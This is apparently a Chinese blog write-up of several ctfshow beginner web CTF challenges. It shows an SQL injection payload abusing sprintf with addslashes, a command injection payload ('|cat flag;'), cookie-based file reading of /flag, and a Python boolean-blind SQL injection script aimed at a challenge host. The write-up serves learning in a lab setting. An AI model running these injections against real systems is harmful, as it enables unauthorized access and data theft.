ctfshow-web 萌新题

给她

pyload:

1.dirsearch扫描,发现git

2. GitHack工具得到.git文件

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

addslashes函数+sping的漏洞

addslashes函数:在预定义的字符前面加上反斜杠

%1$ 的作用就是防止 ' 被过滤掉

输入 ?name=1&pass=%1$' or 1=1--+ 

 在Cookie里发现file,16进制转字符串,为 flag.txt

把Cookie中的file赋值为 /flag (2F666C6167),注这里抓包是响应页面的包。

总结:

  • 有关sql的题目,可以先用dirsearch扫描一下,说不定有发现
  • git文件可以获得,用工具GitHack

签到题

命令注入,没有过滤特殊字符。

pyload: 

?url=|ls;  发现flag  ?url=|cat flag;

知识点:

| 是管道操作符,它将左侧命令的输出作为右侧命令的输入。

假赛生

提示:register.php login.php 大佬们别扫了

根据提示,存在 login.php、register.php,根据要求需要用户名为admin,尝试注册后发现已存在,接着尝试注册用户名 admin空格,接着用admin登录,发现登录成功。sql注入漏洞

接下来绕过正则匹配

if(isset($_GET['c'])){
    preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
    echo $flag;
}

[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
\w 匹配包括下划线的任何单词字符。等价于" [A-Za-z0-9_] "
\W 匹配任何非单词字符。等价于" [^A-Za-z0-9_] "

[\s\S*] 与[\w\W*]其实也就是匹配任意字符,只要不输入就行了。

萌新记忆 

布尔注入

dirsearch扫描,发现/admin

登录页面有两种情况

第一种:用户名正确,显示密码错误

第二种:显示用户名错误,这种情况有可能是验证用户名和验证密码是分步进行的

select uname from user where uname='xxx'
select uname,pwd from user where uname='xxx' and pwd='xxx'

当我们输入admin' or 1=1--+时,显示“我报警了”,说明存在注入

 fuz测试一下,发现过滤了or

or 被过滤: 使用 || 绕过

# 和 – 被过滤:使用单引号闭合最后的单引号

'||length(p)<'5:判断字段长度。

'||substr(p,1,1)<'a:猜解字段。

 脚本如下

import requests

flag = ''
for i in range(1, 18):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz':
        url = "http://daabc47e-58a5-44d9-9838-9767cefb49f4.chall.ctf.show/admin/checklogin.php"
        data = {
                "u": "'||substr(p,{},1)<'{}".format(i,j),
                "p": ""
                }
        # print(data)
        c = requests.post(url, data=data)
        # print(c.text)
        if '用户名' not in c.text:
            flag += chr(ord(j)-1)
            print(flag)
            break

【CTF】利用 Burpsuite Fuzz 实现 SQL 注入 - 个人文章 - SegmentFault 思否

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值